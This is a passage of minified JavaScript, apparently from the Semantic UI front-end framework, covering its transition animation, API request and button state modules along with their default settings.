y="module-"+m.namespace,g=w.data(y)||C,b=C.get.animationEndEvent(),f&&(f=C.invoke(u)),f===!1&&(C.verbose("Converted arguments into settings object",m),m.interval?C.delay(m.animate):C.animate(),C.instantiate())},instantiate:function(){C.verbose("Storing instance of module",C),g=C,w.data(y,g)},destroy:function(){C.verbose("Destroying previous module for",k),w.removeData(y)},refresh:function(){C.verbose("Refreshing display type on next animation"),delete C.displayType},forceRepaint:function(){C.verbose("Forcing element repaint");var e=w.parent(),t=w.next();0===t.length?w.detach().appendTo(e):w.detach().insertBefore(t)},repaint:function(){C.verbose("Repainting element");k.offsetWidth},delay:function(e){var n,o,r=C.get.animationDirection();r||(r=C.can.transition()?C.get.direction():"static"),e=e!==i?e:m.interval,n="auto"==m.reverse&&r==h.outward,o=n||1==m.reverse?(a.length-t)*m.interval:t*m.interval,C.debug("Delaying animation by",o),setTimeout(C.animate,o)},animate:function(e){if(m=e||m,!C.is.supported())return C.error(p.support),!1;if(C.debug("Preparing animation",m.animation),C.is.animating()){if(m.queue)return!m.allowRepeats&&C.has.direction()&&C.is.occurring()&&C.queuing!==!0?C.debug("Animation is currently occurring, preventing queueing same animation",m.animation):C.queue(m.animation),!1;if(!m.allowRepeats&&C.is.occurring())return C.debug("Animation is already occurring, will not execute repeated animation",m.animation),!1;C.debug("New animation started, completing previous early",m.animation),g.complete()}C.can.animate()?C.set.animating(m.animation):C.error(p.noAnimation,m.animation,k)},reset:function(){C.debug("Resetting animation to beginning conditions"),C.remove.animationCallbacks(),C.restore.conditions(),C.remove.animating()},queue:function(e){C.debug("Queueing animation of",e),C.queuing=!0,w.one(b+".queue"+x,function(){C.queuing=!1,C.repaint(),C.animate.apply(this,m)})},complete:function(e){C.debug("Animation complete",m.animation),C.remove.completeCallback(),C.remove.failSafe(),C.is.looping()||(C.is.outward()?(C.verbose("Animation is outward, hiding element"),C.restore.conditions(),C.hide()):C.is.inward()?(C.verbose("Animation is outward, showing element"),C.restore.conditions(),C.show()):(C.verbose("Static animation completed"),C.restore.conditions(),m.onComplete.call(k)))},force:{visible:function(){var e=w.attr("style"),t=C.get.userStyle(),n=C.get.displayType(),o=t+"display: "+n+" !important;",a=w.css("display"),r=e===i||""===e;a!==n?(C.verbose("Overriding default display to show element",n),w.attr("style",o)):r&&w.removeAttr("style")},hidden:function(){var e=w.attr("style"),t=w.css("display"),n=e===i||""===e;"none"===t||C.is.hidden()?n&&w.removeAttr("style"):(C.verbose("Overriding default display to hide element"),w.css("display","none"))}},has:{direction:function(t){var n=!1;return t=t||m.animation,"string"==typeof t&&(t=t.split(" "),e.each(t,function(e,t){t!==h.inward&&t!==h.outward||(n=!0)})),n},inlineDisplay:function(){var t=w.attr("style")||"";return e.isArray(t.match(/display.*?;/,""))}},set:{animating:function(e){var t;C.remove.completeCallback(),e=e||m.animation,t=C.get.animationClass(e),C.save.animation(t),C.force.visible(),C.remove.hidden(),C.remove.direction(),C.start.animation(t)},duration:function(e,t){t=t||m.duration,t="number"==typeof t?t+"ms":t,(t||0===t)&&(C.verbose("Setting animation duration",t),w.css({"animation-duration":t}))},direction:function(e){e=e||C.get.direction(),e==h.inward?C.set.inward():C.set.outward()},looping:function(){C.debug("Transition set to loop"),w.addClass(h.looping)},hidden:function(){w.addClass(h.transition).addClass(h.hidden)},inward:function(){C.debug("Setting direction to inward"),w.removeClass(h.outward).addClass(h.inward)},outward:function(){C.debug("Setting direction to outward"),w.removeClass(h.inward).addClass(h.outward)},visible:function(){w.addClass(h.transition).addClass(h.visible)}},start:{animation:function(e){e=e||C.get.animationClass(),C.debug("Starting tween",e),w.addClass(e).one(b+".complete"+x,C.complete),m.useFailSafe&&C.add.failSafe(),C.set.duration(m.duration),m.onStart.call(k)}},save:{animation:function(e){C.cache||(C.cache={}),C.cache.animation=e},displayType:function(e){"none"!==e&&w.data(v.displayType,e)},transitionExists:function(t,n){e.fn.transition.exists[t]=n,C.verbose("Saving existence of transition",t,n)}},restore:{conditions:function(){var e=C.get.currentAnimation();e&&(w.removeClass(e),C.verbose("Removing animation class",C.cache)),C.remove.duration()}},add:{failSafe:function(){var e=C.get.duration();C.timer=setTimeout(function(){w.triggerHandler(b)},e+m.failSafeDelay),C.verbose("Adding fail safe timer",C.timer)}},remove:{animating:function(){w.removeClass(h.animating)},animationCallbacks:function(){C.remove.queueCallback(),C.remove.completeCallback()},queueCallback:function(){w.off(".queue"+x)},completeCallback:function(){w.off(".complete"+x)},display:function(){w.css("display","")},direction:function(){w.removeClass(h.inward).removeClass(h.outward)},duration:function(){w.css("animation-duration","")},failSafe:function(){C.verbose("Removing fail safe timer",C.timer),C.timer&&clearTimeout(C.timer)},hidden:function(){w.removeClass(h.hidden)},visible:function(){w.removeClass(h.visible)},looping:function(){C.debug("Transitions are no longer looping"),C.is.looping()&&(C.reset(),w.removeClass(h.looping))},transition:function(){w.removeClass(h.visible).removeClass(h.hidden)}},get:{settings:function(t,n,i){return"object"==typeof t?e.extend(!0,{},e.fn.transition.settings,t):"function"==typeof i?e.extend({},e.fn.transition.settings,{animation:t,onComplete:i,duration:n}):"string"==typeof n||"number"==typeof n?e.extend({},e.fn.transition.settings,{animation:t,duration:n}):"object"==typeof n?e.extend({},e.fn.transition.settings,n,{animation:t}):"function"==typeof n?e.extend({},e.fn.transition.settings,{animation:t,onComplete:n}):e.extend({},e.fn.transition.settings,{animation:t})},animationClass:function(e){var t=e||m.animation,n=C.can.transition()&&!C.has.direction()?C.get.direction()+" ":"";return h.animating+" "+h.transition+" "+n+t},currentAnimation:function(){return!(!C.cache||C.cache.animation===i)&&C.cache.animation},currentDirection:function(){return C.is.inward()?h.inward:h.outward},direction:function(){return C.is.hidden()||!C.is.visible()?h.inward:h.outward},animationDirection:function(t){var n;return t=t||m.animation,"string"==typeof t&&(t=t.split(" "),e.each(t,function(e,t){t===h.inward?n=h.inward:t===h.outward&&(n=h.outward)})),!!n&&n},duration:function(e){return e=e||m.duration,e===!1&&(e=w.css("animation-duration")||0),"string"==typeof e?e.indexOf("ms")>-1?parseFloat(e):1e3*parseFloat(e):e},displayType:function(){return m.displayType?m.displayType:(w.data(v.displayType)===i&&C.can.transition(!0),w.data(v.displayType))},userStyle:function(e){return e=e||w.attr("style")||"",e.replace(/display.*?;/,"")},transitionExists:function(t){return e.fn.transition.exists[t]},animationStartEvent:function(){var e,t=n.createElement("div"),o={animation:"animationstart",OAnimation:"oAnimationStart",MozAnimation:"mozAnimationStart",WebkitAnimation:"webkitAnimationStart"};for(e in o)if(t.style[e]!==i)return o[e];return!1},animationEndEvent:function(){var e,t=n.createElement("div"),o={animation:"animationend",OAnimation:"oAnimationEnd",MozAnimation:"mozAnimationEnd",WebkitAnimation:"webkitAnimationEnd"};for(e in o)if(t.style[e]!==i)return o[e];return!1}},can:{transition:function(t){var n,o,a,r,s,l,c,u=m.animation,d=C.get.transitionExists(u);if(d===i||t){if(C.verbose("Determining whether animation exists"),n=w.attr("class"),o=w.prop("tagName"),a=e("<"+o+" />").addClass(n).insertAfter(w),r=a.addClass(u).removeClass(h.inward).removeClass(h.outward).addClass(h.animating).addClass(h.transition).css("animationName"),s=a.addClass(h.inward).css("animationName"),c=a.attr("class",n).removeAttr("style").removeClass(h.hidden).removeClass(h.visible).show().css("display"),C.verbose("Determining final display state",c),C.save.displayType(c),a.remove(),r!=s)C.debug("Direction exists for animation",u),l=!0;else{if("none"==r||!r)return void C.debug("No animation defined in css",u);C.debug("Static animation found",u,c),l=!1}C.save.transitionExists(u,l)}return d!==i?d:l},animate:function(){return C.can.transition()!==i}},is:{animating:function(){return w.hasClass(h.animating)},inward:function(){return w.hasClass(h.inward)},outward:function(){return w.hasClass(h.outward)},looping:function(){return w.hasClass(h.looping)},occurring:function(e){return e=e||m.animation,e="."+e.replace(" ","."),w.filter(e).length>0},visible:function(){return w.is(":visible")},hidden:function(){return"hidden"===w.css("visibility")},supported:function(){return b!==!1}},hide:function(){C.verbose("Hiding element"),C.is.animating()&&C.reset(),k.blur(),C.remove.display(),C.remove.visible(),C.set.hidden(),C.force.hidden(),m.onHide.call(k),m.onComplete.call(k)},show:function(e){C.verbose("Showing element",e),C.remove.hidden(),C.set.visible(),C.force.visible(),m.onShow.call(k),m.onComplete.call(k)},toggle:function(){C.is.visible()?C.hide():C.show()},stop:function(){C.debug("Stopping current animation"),w.triggerHandler(b)},stopAll:function(){C.debug("Stopping all animation"),C.remove.queueCallback(),w.triggerHandler(b)},clear:{queue:function(){C.debug("Clearing animation queue"),C.remove.queueCallback()}},enable:function(){C.verbose("Starting animation"),w.removeClass(h.disabled)},disable:function(){C.debug("Stopping animation"),w.addClass(h.disabled)},setting:function(t,n){if(C.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,m,t);else{if(n===i)return m[t];e.isPlainObject(m[t])?e.extend(!0,m[t],n):m[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,C,t);else{if(n===i)return C[t];C[t]=n}},debug:function(){!m.silent&&m.debug&&(m.performance?C.performance.log(arguments):(C.debug=Function.prototype.bind.call(console.info,console,m.name+":"),C.debug.apply(console,arguments)))},verbose:function(){!m.silent&&m.verbose&&m.debug&&(m.performance?C.performance.log(arguments):(C.verbose=Function.prototype.bind.call(console.info,console,m.name+":"),C.verbose.apply(console,arguments)))},error:function(){m.silent||(C.error=Function.prototype.bind.call(console.error,console,m.name+":"),C.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;m.performance&&(t=(new Date).getTime(),i=s||t,n=t-i,s=t,l.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:k,"Execution Time":n})),clearTimeout(C.performance.timer),C.performance.timer=setTimeout(C.performance.display,500)},display:function(){var t=m.name+":",n=0;s=!1,clearTimeout(C.performance.timer),e.each(l,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",r&&(t+=" '"+r+"'"),a.length>1&&(t+=" ("+a.length+")"),(console.group!==i||console.table!==i)&&l.length>0&&(console.groupCollapsed(t),console.table?console.table(l):e.each(l,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),l=[]}},invoke:function(t,n,a){var r,s,l,c=g;return n=n||d,a=k||a,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i&&(s=c[o],!1);c=c[o]}})),e.isFunction(s)?l=s.apply(a,n):s!==i&&(l=s),e.isArray(o)?o.push(l):o!==i?o=[o,l]:l!==i&&(o=l),s!==i&&s}},C.initialize()}),o!==i?o:this},e.fn.transition.exists={},e.fn.transition.settings={name:"Transition",silent:!1,debug:!1,verbose:!1,performance:!0,namespace:"transition",interval:0,reverse:"auto",onStart:function(){},onComplete:function(){},onShow:function(){},onHide:function(){},useFailSafe:!0,failSafeDelay:100,allowRepeats:!1,displayType:!1,animation:"fade",duration:!1,queue:!0,metadata:{displayType:"display"},className:{animating:"animating",disabled:"disabled",hidden:"hidden",inward:"in",loading:"loading",looping:"looping",outward:"out",transition:"transition",visible:"visible"},error:{noAnimation:"Element is no longer attached to DOM. Unable to animate.  Use silent setting to surpress this warning in production.",repeated:"That animation is already occurring, cancelling repeated animation",method:"The method you called is not defined",support:"This browser does not support CSS animations"}}}(jQuery,window,document),function(e,t,n,i){"use strict";var t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();e.api=e.fn.api=function(n){var o,a=e(e.isFunction(this)?t:this),r=a.selector||"",s=(new Date).getTime(),l=[],c=arguments[0],u="string"==typeof c,d=[].slice.call(arguments,1);return a.each(function(){var a,f,m,g,p,h,v=e.isPlainObject(n)?e.extend(!0,{},e.fn.api.settings,n):e.extend({},e.fn.api.settings),b=v.namespace,y=v.metadata,x=v.selector,C=v.error,w=v.className,k="."+b,S="module-"+b,T=e(this),A=T.closest(x.form),R=v.stateContext?e(v.stateContext):T,P=this,E=R[0],F=T.data(S);h={initialize:function(){u||h.bind.events(),h.instantiate()},instantiate:function(){h.verbose("Storing instance of module",h),F=h,T.data(S,F)},destroy:function(){h.verbose("Destroying previous module for",P),T.removeData(S).off(k)},bind:{events:function(){var e=h.get.event();e?(h.verbose("Attaching API events to element",e),T.on(e+k,h.event.trigger)):"now"==v.on&&(h.debug("Querying API endpoint immediately"),h.query())}},decode:{json:function(e){if(e!==i&&"string"==typeof e)try{e=JSON.parse(e)}catch(t){}return e}},read:{cachedResponse:function(e){var n;return t.Storage===i?void h.error(C.noStorage):(n=sessionStorage.getItem(e),h.debug("Using cached response",e,n),n=h.decode.json(n))}},write:{cachedResponse:function(n,o){return o&&""===o?void h.debug("Response empty, not caching",o):t.Storage===i?void h.error(C.noStorage):(e.isPlainObject(o)&&(o=JSON.stringify(o)),sessionStorage.setItem(n,o),void h.verbose("Storing cached response for url",n,o))}},query:function(){if(h.is.disabled())return void h.debug("Element is disabled API request aborted");if(h.is.loading()){if(!v.interruptRequests)return void h.debug("Cancelling request, previous request is still pending");h.debug("Interrupting previous request"),h.abort()}return v.defaultData&&e.extend(!0,v.urlData,h.get.defaultData()),v.serializeForm&&(v.data=h.add.formData(v.data)),f=h.get.settings(),f===!1?(h.cancelled=!0,void h.error(C.beforeSend)):(h.cancelled=!1,m=h.get.templatedURL(),m||h.is.mocked()?(m=h.add.urlData(m),m||h.is.mocked()?(f.url=v.base+m,a=e.extend(!0,{},v,{type:v.method||v.type,data:g,url:v.base+m,beforeSend:v.beforeXHR,success:function(){},failure:function(){},complete:function(){}}),h.debug("Querying URL",a.url),h.verbose("Using AJAX settings",a),"local"===v.cache&&h.read.cachedResponse(m)?(h.debug("Response returned from local cache"),h.request=h.create.request(),void h.request.resolveWith(E,[h.read.cachedResponse(m)])):void(v.throttle?v.throttleFirstRequest||h.timer?(h.debug("Throttling request",v.throttle),clearTimeout(h.timer),h.timer=setTimeout(function(){h.timer&&delete h.timer,h.debug("Sending throttled request",g,a.method),h.send.request()},v.throttle)):(h.debug("Sending request",g,a.method),h.send.request(),h.timer=setTimeout(function(){},v.throttle)):(h.debug("Sending request",g,a.method),h.send.request()))):void 0):void h.error(C.missingURL))},should:{removeError:function(){return v.hideError===!0||"auto"===v.hideError&&!h.is.form()}},is:{disabled:function(){return T.filter(x.disabled).length>0},expectingJSON:function(){return"json"===v.dataType||"jsonp"===v.dataType},form:function(){return T.is("form")||R.is("form")},mocked:function(){return v.mockResponse||v.mockResponseAsync||v.response||v.responseAsync},input:function(){return T.is("input")},loading:function(){return!!h.request&&"pending"==h.request.state()},abortedRequest:function(e){return e&&e.readyState!==i&&0===e.readyState?(h.verbose("XHR request determined to be aborted"),!0):(h.verbose("XHR request was not aborted"),!1)},validResponse:function(t){return h.is.expectingJSON()&&e.isFunction(v.successTest)?(h.debug("Checking JSON returned success",v.successTest,t),v.successTest(t)?(h.debug("Response passed success test",t),!0):(h.debug("Response failed success test",t),!1)):(h.verbose("Response is not JSON, skipping validation",v.successTest,t),!0)}},was:{cancelled:function(){return h.cancelled||!1},succesful:function(){return h.request&&"resolved"==h.request.state()},failure:function(){return h.request&&"rejected"==h.request.state()},complete:function(){return h.request&&("resolved"==h.request.state()||"rejected"==h.request.state())}},add:{urlData:function(t,n){var o,a;return t&&(o=t.match(v.regExp.required),a=t.match(v.regExp.optional),n=n||v.urlData,o&&(h.debug("Looking for required URL variables",o),e.each(o,function(o,a){var r=a.indexOf("$")!==-1?a.substr(2,a.length-3):a.substr(1,a.length-2),s=e.isPlainObject(n)&&n[r]!==i?n[r]:T.data(r)!==i?T.data(r):R.data(r)!==i?R.data(r):n[r];return s===i?(h.error(C.requiredParameter,r,t),t=!1,!1):(h.verbose("Found required variable",r,s),s=v.encodeParameters?h.get.urlEncodedValue(s):s,t=t.replace(a,s),void 0)})),a&&(h.debug("Looking for optional URL variables",o),e.each(a,function(o,a){var r=a.indexOf("$")!==-1?a.substr(3,a.length-4):a.substr(2,a.length-3),s=e.isPlainObject(n)&&n[r]!==i?n[r]:T.data(r)!==i?T.data(r):R.data(r)!==i?R.data(r):n[r];s!==i?(h.verbose("Optional variable Found",r,s),t=t.replace(a,s)):(h.verbose("Optional variable not found",r),t=t.indexOf("/"+a)!==-1?t.replace("/"+a,""):t.replace(a,""))}))),t},formData:function(t){var n,o=e.fn.serializeObject!==i,a=o?A.serializeObject():A.serialize();return t=t||v.data,n=e.isPlainObject(t),n?o?(h.debug("Extending existing data with form data",t,a),t=e.extend(!0,{},t,a)):(h.error(C.missingSerialize),h.debug("Cant extend data. Replacing data with form data",t,a),t=a):(h.debug("Adding form data",a),t=a),t}},send:{request:function(){h.set.loading(),h.request=h.create.request(),h.is.mocked()?h.mockedXHR=h.create.mockedXHR():h.xhr=h.create.xhr(),v.onRequest.call(E,h.request,h.xhr)}},event:{trigger:function(e){h.query(),"submit"!=e.type&&"click"!=e.type||e.preventDefault()},xhr:{always:function(){},done:function(t,n,i){var o=this,a=(new Date).getTime()-p,r=v.loadingDuration-a,s=!!e.isFunction(v.onResponse)&&(h.is.expectingJSON()?v.onResponse.call(o,e.extend(!0,{},t)):v.onResponse.call(o,t));r=r>0?r:0,s&&(h.debug("Modified API response in onResponse callback",v.onResponse,s,t),t=s),r>0&&h.debug("Response completed early delaying state change by",r),setTimeout(function(){h.is.validResponse(t)?h.request.resolveWith(o,[t,i]):h.request.rejectWith(o,[i,"invalid"])},r)},fail:function(e,t,n){var i=this,o=(new Date).getTime()-p,a=v.loadingDuration-o;a=a>0?a:0,a>0&&h.debug("Response completed early delaying state change by",a),setTimeout(function(){h.is.abortedRequest(e)?h.request.rejectWith(i,[e,"aborted",n]):h.request.rejectWith(i,[e,"error",t,n])},a)}},request:{done:function(e,t){h.debug("Successful API Response",e),"local"===v.cache&&m&&(h.write.cachedResponse(m,e),h.debug("Saving server response locally",h.cache)),v.onSuccess.call(E,e,T,t)},complete:function(e,t){var n,i;h.was.succesful()?(i=e,n=t):(n=e,i=h.get.responseFromXHR(n)),h.remove.loading(),v.onComplete.call(E,i,T,n)},fail:function(e,t,n){var o=h.get.responseFromXHR(e),r=h.get.errorFromRequest(o,t,n);return"aborted"==t?(h.debug("XHR Aborted (Most likely caused by page navigation or CORS Policy)",t,n),v.onAbort.call(E,t,T,e),!0):("invalid"==t?h.debug("JSON did not pass success test. A server-side error has most likely occurred",o):"error"==t&&e!==i&&(h.debug("XHR produced a server error",t,n),200!=e.status&&n!==i&&""!==n&&h.error(C.statusMessage+n,a.url),v.onError.call(E,r,T,e)),v.errorDuration&&"aborted"!==t&&(h.debug("Adding error state"),h.set.error(),h.should.removeError()&&setTimeout(h.remove.error,v.errorDuration)),h.debug("API Request failed",r,e),void v.onFailure.call(E,o,T,e))}}},create:{request:function(){return e.Deferred().always(h.event.request.complete).done(h.event.request.done).fail(h.event.request.fail)},mockedXHR:function(){var t,n,i,o=!1,a=!1,r=!1,s=v.mockResponse||v.response,l=v.mockResponseAsync||v.responseAsync;return i=e.Deferred().always(h.event.xhr.complete).done(h.event.xhr.done).fail(h.event.xhr.fail),s?(e.isFunction(s)?(h.debug("Using specified synchronous callback",s),n=s.call(E,f)):(h.debug("Using settings specified response",s),n=s),i.resolveWith(E,[n,o,{responseText:n}])):e.isFunction(l)&&(t=function(e){h.debug("Async callback returned response",e),e?i.resolveWith(E,[e,o,{responseText:e}]):i.rejectWith(E,[{responseText:e},a,r])},h.debug("Using specified async response callback",l),l.call(E,f,t)),i},xhr:function(){var t;return t=e.ajax(a).always(h.event.xhr.always).done(h.event.xhr.done).fail(h.event.xhr.fail),h.verbose("Created server request",t,a),t}},set:{error:function(){h.verbose("Adding error state to element",R),R.addClass(w.error)},loading:function(){h.verbose("Adding loading state to element",R),R.addClass(w.loading),p=(new Date).getTime()}},remove:{error:function(){h.verbose("Removing error state from element",R),R.removeClass(w.error)},loading:function(){h.verbose("Removing loading state from element",R),R.removeClass(w.loading)}},get:{responseFromXHR:function(t){return!!e.isPlainObject(t)&&(h.is.expectingJSON()?h.decode.json(t.responseText):t.responseText)},errorFromRequest:function(t,n,o){return e.isPlainObject(t)&&t.error!==i?t.error:v.error[n]!==i?v.error[n]:o},request:function(){return h.request||!1},xhr:function(){return h.xhr||!1},settings:function(){var t;return t=v.beforeSend.call(E,v),t&&(t.success!==i&&(h.debug("Legacy success callback detected",t),h.error(C.legacyParameters,t.success),t.onSuccess=t.success),t.failure!==i&&(h.debug("Legacy failure callback detected",t),h.error(C.legacyParameters,t.failure),t.onFailure=t.failure),t.complete!==i&&(h.debug("Legacy complete callback detected",t),h.error(C.legacyParameters,t.complete),t.onComplete=t.complete)),t===i&&h.error(C.noReturnedValue),t===!1?t:t!==i?e.extend(!0,{},t):e.extend(!0,{},v)},urlEncodedValue:function(e){var n=t.decodeURIComponent(e),i=t.encodeURIComponent(e),o=n!==e;return o?(h.debug("URL value is already encoded, avoiding double encoding",e),e):(h.verbose("Encoding value using encodeURIComponent",e,i),i)},defaultData:function(){var t={};return e.isWindow(P)||(h.is.input()?t.value=T.val():h.is.form()||(t.text=T.text())),t},event:function(){return e.isWindow(P)||"now"==v.on?(h.debug("API called without element, no events attached"),!1):"auto"==v.on?T.is("input")?P.oninput!==i?"input":P.onpropertychange!==i?"propertychange":"keyup":T.is("form")?"submit":"click":v.on},templatedURL:function(e){if(e=e||T.data(y.action)||v.action||!1,m=T.data(y.url)||v.url||!1)return h.debug("Using specified url",m),m;if(e){if(h.debug("Looking up url for action",e,v.api),v.api[e]===i&&!h.is.mocked())return void h.error(C.missingAction,v.action,v.api);m=v.api[e]}else h.is.form()&&(m=T.attr("action")||R.attr("action")||!1,h.debug("No url or action specified, defaulting to form action",m));return m}},abort:function(){var e=h.get.xhr();e&&"resolved"!==e.state()&&(h.debug("Cancelling API request"),e.abort())},reset:function(){h.remove.error(),h.remove.loading()},setting:function(t,n){if(h.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,v,t);else{if(n===i)return v[t];e.isPlainObject(v[t])?e.extend(!0,v[t],n):v[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,h,t);else{if(n===i)return h[t];h[t]=n}},debug:function(){!v.silent&&v.debug&&(v.performance?h.performance.log(arguments):(h.debug=Function.prototype.bind.call(console.info,console,v.name+":"),h.debug.apply(console,arguments)))},verbose:function(){!v.silent&&v.verbose&&v.debug&&(v.performance?h.performance.log(arguments):(h.verbose=Function.prototype.bind.call(console.info,console,v.name+":"),h.verbose.apply(console,arguments)))},error:function(){v.silent||(h.error=Function.prototype.bind.call(console.error,console,v.name+":"),h.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;v.performance&&(t=(new Date).getTime(),i=s||t,n=t-i,s=t,l.push({Name:e[0],Arguments:[].slice.call(e,1)||"","Execution Time":n})),clearTimeout(h.performance.timer),h.performance.timer=setTimeout(h.performance.display,500)},display:function(){var t=v.name+":",n=0;s=!1,clearTimeout(h.performance.timer),e.each(l,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",r&&(t+=" '"+r+"'"),(console.group!==i||console.table!==i)&&l.length>0&&(console.groupCollapsed(t),console.table?console.table(l):e.each(l,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),l=[]}},invoke:function(t,n,a){var r,s,l,c=F;return n=n||d,a=P||a,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(h.error(C.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(a,n):s!==i&&(l=s),e.isArray(o)?o.push(l):o!==i?o=[o,l]:l!==i&&(o=l),s}},u?(F===i&&h.initialize(),h.invoke(c)):(F!==i&&F.invoke("destroy"),h.initialize())}),o!==i?o:this},e.api.settings={name:"API",namespace:"api",debug:!1,verbose:!1,performance:!0,api:{},cache:!0,interruptRequests:!0,on:"auto",stateContext:!1,loadingDuration:0,hideError:"auto",errorDuration:2e3,encodeParameters:!0,action:!1,url:!1,base:"",urlData:{},defaultData:!0,serializeForm:!1,throttle:0,throttleFirstRequest:!0,method:"get",data:{},dataType:"json",mockResponse:!1,mockResponseAsync:!1,response:!1,responseAsync:!1,beforeSend:function(e){return e},beforeXHR:function(e){},onRequest:function(e,t){},onResponse:!1,onSuccess:function(e,t){},onComplete:function(e,t){},onFailure:function(e,t){},onError:function(e,t){},onAbort:function(e,t){},successTest:!1,error:{beforeSend:"The before send function has aborted the request",error:"There was an error with your request",exitConditions:"API Request Aborted. Exit conditions met",JSONParse:"JSON could not be parsed during error handling",legacyParameters:"You are using legacy API success callback names",method:"The method you called is not defined",missingAction:"API action used but no url was defined",missingSerialize:"jquery-serialize-object is required to add form data to an existing data object",missingURL:"No URL specified for api event",noReturnedValue:"The beforeSend callback must return a settings object, beforeSend ignored.",noStorage:"Caching responses locally requires session storage",parseError:"There was an error parsing your request",requiredParameter:"Missing a required URL parameter: ",statusMessage:"Server gave an error: ",timeout:"Your request timed out"},regExp:{required:/\{\$*[A-z0-9]+\}/g,optional:/\{\/\$*[A-z0-9]+\}/g},className:{loading:"loading",error:"error"},selector:{disabled:".disabled",form:"form"},metadata:{action:"action",url:"url"}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.state=function(t){var o,a=e(this),r=a.selector||"",s=("ontouchstart"in n.documentElement,(new Date).getTime()),l=[],c=arguments[0],u="string"==typeof c,d=[].slice.call(arguments,1);return a.each(function(){var n,f=e.isPlainObject(t)?e.extend(!0,{},e.fn.state.settings,t):e.extend({},e.fn.state.settings),m=f.error,g=f.metadata,p=f.className,h=f.namespace,v=f.states,b=f.text,y="."+h,x=h+"-module",C=e(this),w=this,k=C.data(x);n={initialize:function(){n.verbose("Initializing module"),f.automatic&&n.add.defaults(),f.context&&""!==r?e(f.context).on(r,"mouseenter"+y,n.change.text).on(r,"mouseleave"+y,n.reset.text).on(r,"click"+y,n.toggle.state):C.on("mouseenter"+y,n.change.text).on("mouseleave"+y,n.reset.text).on("click"+y,n.toggle.state),n.instantiate()},instantiate:function(){n.verbose("Storing instance of module",n),k=n,C.data(x,n)},destroy:function(){n.verbose("Destroying previous module",k),C.off(y).removeData(x)},refresh:function(){n.verbose("Refreshing selector cache"),C=e(w)},add:{defaults:function(){var o=t&&e.isPlainObject(t.states)?t.states:{};e.each(f.defaults,function(t,a){n.is[t]!==i&&n.is[t]()&&(n.verbose("Adding default states",t,w),e.extend(f.states,a,o))})}},is:{active:function(){return C.hasClass(p.active)},loading:function(){return C.hasClass(p.loading)},inactive:function(){return!C.hasClass(p.active)},state:function(e){return p[e]!==i&&C.hasClass(p[e])},enabled:function(){return!C.is(f.filter.active)},disabled:function(){return C.is(f.filter.active)},textEnabled:function(){return!C.is(f.filter.text)},button:function(){return C.is(".button:not(a, .submit)")},input:function(){return C.is("input")},progress:function(){return C.is(".ui.progress")}},allow:function(e){n.debug("Now allowing state",e),v[e]=!0},disallow:function(e){n.debug("No longer allowing",e),v[e]=!1},allows:function(e){return v[e]||!1},enable:function(){C.removeClass(p.disabled)},disable:function(){C.addClass(p.disabled)},setState:function(e){n.allows(e)&&C.addClass(p[e])},removeState:function(e){n.allows(e)&&C.removeClass(p[e])},toggle:{state:function(){var t,o;if(n.allows("active")&&n.is.enabled()){if(n.refresh(),e.fn.api!==i)if(t=C.api("get request"),o=C.api("was cancelled"))n.debug("API Request cancelled by beforesend"),f.activateTest=function(){return!1},f.deactivateTest=function(){return!1};else if(t)return void n.listenTo(t);n.change.state()}}},listenTo:function(t){n.debug("API request detected, waiting for state signal",t),t&&(b.loading&&n.update.text(b.loading),e.when(t).then(function(){"resolved"==t.state()?(n.debug("API request succeeded"),f.activateTest=function(){return!0},f.deactivateTest=function(){return!0}):(n.debug("API request failed"),f.activateTest=function(){return!1},f.deactivateTest=function(){return!1}),n.change.state()}))},change:{state:function(){n.debug("Determining state change direction"),n.is.inactive()?n.activate():n.deactivate(),f.sync&&n.sync(),f.onChange.call(w)},text:function(){n.is.textEnabled()&&(n.is.disabled()?(n.verbose("Changing text to disabled text",b.hover),n.update.text(b.disabled)):n.is.active()?b.hover?(n.verbose("Changing text to hover text",b.hover),n.update.text(b.hover)):b.deactivate&&(n.verbose("Changing text to deactivating text",b.deactivate),n.update.text(b.deactivate)):b.hover?(n.verbose("Changing text to hover text",b.hover),n.update.text(b.hover)):b.activate&&(n.verbose("Changing text to activating text",b.activate),n.update.text(b.activate)))}},activate:function(){f.activateTest.call(w)&&(n.debug("Setting state to active"),C.addClass(p.active),n.update.text(b.active),f.onActivate.call(w))},deactivate:function(){f.deactivateTest.call(w)&&(n.debug("Setting state to inactive"),C.removeClass(p.active),n.update.text(b.inactive),f.onDeactivate.call(w))},sync:function(){n.verbose("Syncing other buttons to current state"),n.is.active()?a.not(C).state("activate"):a.not(C).state("deactivate")},get:{text:function(){return f.selector.text?C.find(f.selector.text).text():C.html()},textFor:function(e){return b[e]||!1}},flash:{text:function(e,t,i){var o=n.get.text();n.debug("Flashing text message",e,t),e=e||f.text.flash,t=t||f.flashDuration,i=i||function(){},n.update.text(e),setTimeout(function(){n.update.text(o),i.call(w)},t)}},reset:{text:function(){var 